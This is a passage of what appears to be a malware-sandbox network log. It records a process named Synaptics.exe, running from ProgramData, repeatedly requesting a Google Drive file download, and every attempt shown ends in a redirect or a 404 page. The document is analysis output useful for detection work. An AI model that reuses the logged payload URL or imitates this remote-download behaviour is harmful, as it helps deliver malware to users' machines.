Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:39 UTC	1594	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 51 41 38 6c 48 34 50 4c 61 73 47 7a 70 49 4a 4e 45 77 4f 49 47 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="QA8lH4PLasGzpIJNEwOIGw">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:29:39 UTC	58	IN	Data Raw: 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: nd on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49816	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:39 UTC	186	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-02 19:29:39 UTC	1602	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6Hcwz4wxkCELk8Qx9hid7Tand15HZ9j3eCHIdF6Lxhiok9ZF1vOGm0rCWCFGchKW9Y4A6nLLs Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:39 GMT P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-h4CCyWIbjl7YTN0uvsjLtw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Set-Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs; expires=Fri, 04-Jul-2025 19:29:39 GMT; path=/; domain=.google.com; HttpOnly Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:39 UTC	1602	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 64 50 56 48 4d 79 6d 65 68 44 78 77 4d 52 61 75 72 71 6e 72 4b 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="dPVHMymehDxwMRaurqnrKw">*{margin:0;padding:0}html,code{font:15px/22px arial
2025-01-02 19:29:39 UTC	50	IN	Data Raw: 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: is server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49824	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:40 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:40 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:40 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-kfo-CMRhMkDhCGbGaf7i7g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49825	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:40 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:40 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:40 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-f08YOa0wOND3vuqowJ-zuA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49826	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:40 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
2025-01-02 19:29:40 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC429XhP-hpcchtd5LdC_XfyNf7aJezG5B4iNQmIIyKMt3ouDmTH4ZujKGLXTFl1fiIM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:40 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce--W7XS9W0WI45mIuQgoYYow' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:40 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:40 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 47 39 51 74 4e 36 4e 32 57 7a 34 52 59 50 6a 31 6f 4d 79 31 6c 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="G9QtN6N2Wz4RYPj1oMy1lA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:40 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49827	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:40 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
2025-01-02 19:29:40 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC69dYK0FNYHSNUpZD9IKA49rX32prAEPTASeClKP0ZyJNn-1eaQnzV0z2yyT73gL2-q Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:40 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-WnTvZgPk8Q_1wndmH27oag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:40 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:40 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 44 30 66 77 59 36 35 6e 78 50 32 6b 6c 54 6f 30 75 5f 4d 4a 54 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="D0fwY65nxP2klTo0u_MJTA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:40 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49843	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:41 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:42 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC5njZ0O6RLPwF0SWoclJGltMA9ZUvaKO9CShYeHIG0Xeh_WonXKwrxn_sDDzpsAiuRV Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:41 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-x7i3v9nP3K3FdGS-VjK1gQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:42 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:42 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 45 4c 30 32 74 49 74 55 42 42 6a 4c 45 44 62 7a 5a 73 34 4e 34 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="EL02tItUBBjLEDbzZs4N4Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:42 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49844	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:41 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:41 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:41 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-GBYZJOEP58DamHQXypaS1w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49841	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:41 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
